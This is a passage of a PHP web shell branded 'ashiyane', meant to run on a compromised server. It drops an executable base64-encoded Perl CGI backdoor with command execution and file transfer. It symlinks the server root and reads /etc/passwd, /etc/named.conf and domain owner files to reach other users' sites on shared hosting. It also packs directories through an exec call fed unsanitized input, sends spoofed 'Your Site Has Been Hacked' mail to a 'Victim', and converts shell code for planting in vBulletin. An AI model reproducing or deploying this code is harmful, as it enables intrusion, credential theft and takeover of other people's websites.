Q0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJcHJpbnQgIjwvY29kZT4iOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQoNCg0K
2056
2057";
2058$ashiyane6 = fopen('cgi.ashiyane','w+');
2059$ashiyane7 = fwrite ($ashiyane6 ,base64_decode($ashiyane5));
2060fclose($ashiyane6);
2061chmod('cgi.ashiyane',0755);
2062echo '<a name="down"></a><iframe src=cgiashiyane/cgi.ashiyane width=100% height=600px frameborder=0></iframe> ';
2063
2064
2065
2066 }
2067
2068 if($action=="sym"){
2069
2070
2071 ?>
2072 <div style="font-size:20px">
2073 <b>
2074 <a href="?action=sym&sym=dsym">| Domains |</a>
2075 <a href="?action=sym&sym=dusym">| Domains User Symlink |</a>
2076 <a href="?action=sym&sym=passwd">| Passwd Symlink |</a>
2077 <a href="?action=sym&sym=fsym">| File Symlinker |</a>
2078 <a href="?action=sym&sym=dasym">| Direct Admin Symlink |</a>
2079 </b>
2080 <br /><br />
2081 </div>
2082 <?php
2083 if(isset($_GET['sym']) && $_GET['sym']=="dusym"){
2084 if(!@file_exists("/etc/virtual/domainowners")){
2085@set_time_limit(0);
2086echo "<center>";
2087@mkdir('sym',0777);
2088$ht = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2089$htfile =@fopen ('sym/.htaccess','w');
2090fwrite($htfile ,$ht);
2091@symlink('/','sym/root');
2092$basename = basename('_FILE_');
2093$namedfile = @file('/etc/named.conf');
2094if(!$namedfile)
2095{
2096echo "<b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></center>";
2097}
2098else
2099{
2100echo "<br>
2101<style>
2102.syms td{
2103border:1px solid #2677B4;
2104}
2105.syms tr:hover{
2106background: #646464;
2107}
2108</style>
2109";
2110echo "<table align='center' width='40%' class='syms'>
2111<td><font color=\"#2677B4\"><b><center># Count</center></font></b></td>
2112<td><font color=\"#00A220\"><b><center>Domains</center></font></b></td>
2113<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
2114<td><font color=\"#FF0000\"><b><center>symlink</center></font></b></td>";
2115$count=1;
2116foreach($namedfile as $namedfiles){
2117if(@eregi('zone',$namedfiles)){
2118preg_match_all('#zone "(.*)"#',$namedfiles,$namedfiles2);
2119flush();
2120if(strlen(trim($namedfiles2[1][0])) >2){
2121$valiasesfile = posix_getpwuid(@fileowner('/etc/valiases/'.$namedfiles2[1][0]));
2122$valiasfilename = $valiasesfile['name'];
2123@symlink('/','sym/root');
2124$valiasfilename = $namedfiles2[1][0];
2125$irdom = '\.ir';
2126$ildom = '\.il';
2127if (@eregi("$irdom",$namedfiles2[1][0]) or @eregi("$ildom",$namedfiles2[1][0]) ){
2128$valiasfilename = "<b><font style=\"color:#00A220\">".$namedfiles2[1][0].'</font></b>';}
2129echo "<tr><td><font color=\"#2677B4\">{$count}</font></td><td><a target='_blank' href=http://www.".$namedfiles2[1][0].'/><font color=#f00><b>'.$valiasfilename.'</b> </a></font></td><td><font color="white"><b>'.$valiasesfile['name']."</font></b></td><td><a href='sym/root/home/".$valiasesfile['name']."/public_html' target='_blank'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
2130$count++;}}}}
2131} else {
2132echo '<br><font color="#FFFFFF">This is Server DirectAdmin</font><font color="#FF0000">Symlink for Direct Admin</font></b> ';
2133}
2134echo "</center></table>";
2135 }
2136 if(isset($_GET['sym']) && $_GET['sym']=="dasym"){
2137
2138 if(@file_exists("/etc/virtual/domainowners")){
2139@mkdir('sym',0777);
2140$ht = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2141$htfile =@fopen ('sym/.htaccess','w');
2142fwrite($htfile ,$ht);
2143@symlink('/','sym/root');
2144fclose($htfile);
2145$sole = @file("/etc/virtual/domainowners");
2146$count=1;
2147echo "<style>
2148.syms td{
2149border:1px solid #2677B4;
2150}
2151.syms tr:hover{
2152background: #646464;
2153}
2154</style><br>";
2155echo "<table align='center' width='40%' class='syms'>
2156<td><font color=\"#FFFF01\"><b><center># Count</center></font></b></td>
2157<td><font color=\"#00A220\"><b><center>Domains</center></font></b></td>
2158<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
2159<td><font color=\"#FF0000\"><b><center>symlink</center></font></b></td>";
2160foreach($sole as $visible){
2161if(@eregi(":",$visible)){
2162$exfile = explode(':', $visible);
2163echo "<tr><td><font color=\"#FFFF01\">{$count}</font></td><td><a target='_blank' href=http://www.".trim($exfile[0]).'/><font color=\"#00A220\"><b>'.trim($exfile[0]).'</b> </font></a></td><td><font color="white"><b>'.trim($exfile[1])."</font></b></td><td><a href='sym/root/home/".trim($exfile[1])."/public_html' target='_blank'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
2164$count++;}}echo "</table>";}else{echo '<br><font color="#FFFFFF">This is Server Cpanel Please use</font><font color="#FF0000">Symlink for Cpanel</font></b><br>';}
2165
2166 }
2167 if(isset($_GET['sym']) && $_GET['sym']=="dsym"){
2168
2169
2170if(!@file_exists("/etc/virtual/domainowners")){
2171echo "<center>";
2172echo "<br>
2173<style>
2174.syms td{
2175border:1px solid #2677B4;
2176}
2177.syms tr:hover{
2178background: #646464;
2179}
2180</style>
2181";
2182$d0mains = @file("/etc/named.conf");
2183if(!$d0mains){
2184
2185echo "<b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></center>"; }
2186echo "<br><table align='center' width='40%' class='syms'><td><font color=\"#00A220\"><b><center># Count</center></font></b></td><td><font color=\"#FFFFFF\"><b><center>Domains</center></font></b></td><td><font color=\"#FF0000\"><b><center>Users</center></font></b></td>";
2187$count=1;
2188foreach($d0mains as $d0main){
2189if(@eregi("zone",$d0main)){
2190preg_match_all('#zone "(.*)"#', $d0main, $domains);
2191flush();
2192if(strlen(trim($domains[1][0])) > 2){
2193$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2194echo "<tr><td><b><font color=\"#00A220\">".$count."</b></font></td><td><a href=http://www.".$domains[1][0]."/><font color=\"#FFFFFF\"><b>".$domains[1][0]."</font></b></a></td><td><b><font color=\"#FF0000\">".$user['name']."</font></b></td></tr>";flush();
2195$count++;
2196}}}
2197echo "</center></table>";
2198}else{echo '<br><font color="#FFFFFF">This Server is DirectAdmin Please use </font><font color="#FF0000">Symlink for Direct Admin</font> ';}
2199
2200
2201 }
2202 if(isset($_GET['sym']) && $_GET['sym']=="passwd"){
2203
2204
2205@mkdir('sym',0777);
2206$htcs = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
2207$f =@fopen ('sym/.htaccess','w');
2208fwrite($f , $htcs);
2209
2210
2211
2212@symlink("/","sym/root");
2213
2214$pg = basename(__FILE__);
2215
2216
2217 if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){
2218
2219
2220$cont = stripcslashes($_POST['file']);
2221
2222if(!file_exists('passwd.txt')){
2223
2224$f = @fopen('passwd.txt','w');
2225
2226$w = @fwrite($f,$cont);
2227
2228fclose($f);
2229}
2230if($w or @filesize('passwd.txt') > 0){
2231// * SHOW * //
2232
2233echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
2234flush();
2235
2236$fil3 = file('passwd.txt');
2237
2238foreach ($fil3 as $f){
2239
2240 $u=explode(':', $f);
2241 $user = $u['0'];
2242
2243
2244
2245echo "
2246<tr>
2247
2248
2249
2250<td width='15%'>
2251$user
2252</td>
2253
2254
2255
2256
2257
2258
2259<td width='10%'>
2260<a href='sym/root/home/$user/public_html' target='_blank'>Symlink </a>
2261</td>
2262
2263<td width='10%'>
2264<a href='$pageFTP/sym/root/home/$user/public_html' target='_blank'>FTP</a>
2265</td>
2266
2267
2268
2269</tr></div> ";
2270
2271
2272flush();
2273flush();
2274
2275
2276}
2277
2278
2279
2280
2281
2282
2283die ("</tr></div>");
2284
2285
2286 }
2287
2288
2289
2290
2291
2292}
2293
2294
2295
2296echo "read /etc/passwd";
2297echo "<br /><br /><form method='post' action='?action=sym&sym=passwd&save=1'><textarea cols='80' rows='20' name='file'>";
2298flush();
2299
2300$file = '/etc/passwd';
2301
2302
2303$r3ad = @fopen($file, 'r');
2304if ($r3ad){
2305$content = @fread($r3ad, @filesize($file));
2306echo "".htmlentities($content)."";
2307}
2308elseif(!$r3ad)
2309{
2310$r3ad = @show_source($file) ;
2311}
2312elseif(!$r3ad)
2313{
2314$r3ad = @highlight_file($file);
2315}
2316elseif(!$r3ad)
2317{
2318
2319 for($uid=0;$uid<1000;$uid++){
2320 $ara = posix_getpwuid($uid);
2321 if (!empty($ara)) {
2322 while (list ($key, $val) = each($ara)){
2323 print "$val:";
2324 }
2325 print "\n";
2326 }
2327
2328 }
2329
2330 }
2331
2332
2333flush();
2334
2335
2336echo "</textarea><br /><br /><input type='submit' value=' symlink '/> </form>";
2337flush();
2338 }
2339
2340 if(isset($_GET['sym']) && $_GET['sym']=="fsym"){
2341
2342 echo'The file path to symlink :
2343
2344<br /><br />
2345<form method="post" action="?action=sym&sym=fsym">
2346<input type="text" name="file" value="/home/user/public_html/file_name" size="60"/><br /><br />
2347<input type="text" name="symfile" value="file_name ( Ex. :: file.txt )" size="60"/><br /><br />
2348<input type="submit" value="symlink" name="symlink" /> <br /><br />
2349</form>
2350';
2351
2352if(isset($_POST['file']) && isset($_POST['symfile']) & isset($_POST['symlink'])){
2353$path_file = $_POST['file'];
2354$symfile = $_POST['symfile'];
2355$symlink = $_POST['symlink'];
2356
2357if ($symlink)
2358{
2359@mkdir('symlink',0777);
2360$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n";
2361$f =@fopen ('symlink/.htaccess','w');
2362@fwrite($f , $c);
2363@symlink("$path_file","symlink/$symfile");
2364echo '<br /><a target="_blank" href="symlink/'.$symfile.'" >'.$symfile.'</a>';
2365}
2366
2367}
2368
2369 }
2370
2371 }
2372 if($action=="zipper"){
2373 if (class_exists('ZipArchive')){
2374echo '
2375<center>
2376<br /><br />
2377<form actoin="?action=zipper&dir='.$path.'#down" method="post">
2378<a name="down"></a>
2379<font color="#FFFFFF"><b>Dir:</b> </font> <input type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['path']).'" size="60"/><br /><br />
2380<font color="#FFFFFF"><b>Save Dir: </b></font><input type="text" name="zipfile" value="ashiyane.zip" size="60"/><br /><br />
2381<input type="submit" value=">>" name="ziper" /> <br /><br />
2382</form></center>
2383';
2384
2385
2386$code = base64_decode('ICAgIGlmICghZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykgfHwgIWZpbGVfZXhpc3RzKCRzb3VyY2UpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICBpZiAoISR6aXAtPm9wZW4oJGRlc3RpbmF0aW9uLCBaSVBBUkNISVZFOjpDUkVBVEUpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkc291cmNlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCByZWFscGF0aCgkc291cmNlKSk7DQoNCiAgICBpZiAoaXNfZGlyKCRzb3VyY2UpID09PSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTsNCg0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZSk7DQoNCiAgICAgICAgICAgIC8vIElnbm9yZSAiLiIgYW5kICIuLiIgZm9sZGVycw0KICAgICAgICAgICAgaWYoIGluX2FycmF5KHN1YnN0cigkZmlsZSwgc3RycnBvcygkZmlsZSwgJy8nKSsxKSwgYXJyYXkoJy4nLCAnLi4nKSkgKQ0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KDQogICAgICAgICAgICAkZmlsZSA9IHJlYWxwYXRoKCRmaWxlKTsNCg0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZmlsZSkgPT09IHRydWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZSAuICcvJywgJycsICRmaWxlIC4gJy8nKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIGlmIChpc19maWxlKCRmaWxlKSA9PT0gdHJ1ZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UgLiAnLycsICcnLCAkZmlsZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZSBpZiAoaXNfZmlsZSgkc291cmNlKSA9PT0gdHJ1ZSkNCiAgICB7DQogICAgICAgICR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2UpKTsNCiAgICB9DQoNCiAgICByZXR1cm4gJHppcC0+Y2xvc2UoKTs=');
2387
2388
2389
2390if(isset($_POST['ziper']) && ($_POST['ziper'] == '>>'))
2391{
2392$newfunc = create_function('$source,$destination', $code);
2393
2394$dirzip = $_POST['dirzip'];
2395$zipfile = $_POST['zipfile'];
2396if($newfunc($dirzip, $zipfile)){
2397echo '<b><span style="color:green">Directory Or File Ziped Successfully !</span></b><Br>';
2398}else {echo '<b><span style="color:red">Error!!!...</span></b><Br>';}
2399}
2400}
2401else {
2402echo '
2403<center>
2404<br /><br />
2405<form action="?action=zipper&dir='.$path.'#down" method="post">
2406<a name="down"></a>
2407Dir: <input type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['path']).'" size="60"/><br /><br />
2408Save Dir: <input type="text" name="zipfile" value="ashiyane.zip" size="60"/><br /><br />
2409<input type="submit" value=">>" name="ziper" /> <br /><br />
2410</form></center>
2411';
2412if(isset($_POST['ziper']) && ($_POST['ziper'] == '>>'))
2413
2414{
2415$dirzip = trim($_POST['dirzip']);
2416$zipfile = trim($_POST['zipfile']);
2417if(exec("zip -r $zipfile $dirzip")){
2418echo '<b><span style="color:green">Directory Or File Ziped Successfully !</span></b><br>';
2419}else {echo '<b><span style="color:red">ERROR!!!...</span></b><br>';}
2420}
2421}
2422 }
2423
2424 if($action=="fakemail"){
2425
2426 echo '
2427<center><form action="?action=fakemail&dir='.$path.'#down" method="post">
2428<a name="down"></a>
2429<table>
2430<tr>
2431<td>
2432<font color="#FFF"><b>Mail to : </b></font></td><td><input placeholder="Victim" size="30" type="text" name="mailto" />
2433</td>
2434</tr>
2435<tr>
2436<td>
2437<font color="#FFF"><b>From : </b></font></td><td><input type="text" size="30" placeholder="Hacker@mail.com" name="mailfrom" />
2438</td>
2439</tr>
2440<tr>
2441<td>
2442<font color="#FFF"><b>Subject : </b></font></td><td><input type="text" size="30" value="Your Site Has Been Hacked" name="mailsubject" />
2443</td>
2444</tr>
2445</table><br>
2446<textarea rows="6" cols="60" name="mailcontent">Hi Admin :)</textarea>
2447<br><input type="submit" value=">>" name="mailsend" />
2448</form></center><br><br>';
2449if(isset($_POST['mailsend']) && ($_POST['mailsend'] == '>>'))
2450{
2451$mailto = $_POST['mailto'];
2452$mailfrom = $_POST['mailfrom'];
2453$mailsubject = $_POST['mailsubject'];
2454$mailcontent = $_POST['mailcontent'];
2455if(@mail($mailto,$mailsubject,$mailcontent,"FROM:$mailfrom"))
2456{ echo '<center><span style="color:green"><b>Mail successfully Sent!</b></span></center>'; }
2457else echo '<center><span style="color:red"><b>Mail Not Sent!</b></span></center>';
2458}
2459
2460
2461 }
2462
2463 if($action=="php2xml"){
2464
2465 echo"
2466<center>
2467<b><font>Convert PHP To XML For Vbulletin Shell</font></b>
2468<form action=\"?action=php2xml&dir=$path#down\" method='post'>
2469<a name=\"down\"></a>
2470<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
2471<input type='submit' name='go' value='Convert' /> <input type='reset' value='Clear' name='reset'><br/><br/>
2472</p>
2473</form></center>";
2474if(isset($_POST['go']) && $_POST['go'] == 'Convert' ) {
2475if ( get_magic_quotes_gpc() ){
2476$code=stripslashes($_POST['code']);
2477}
2478else{
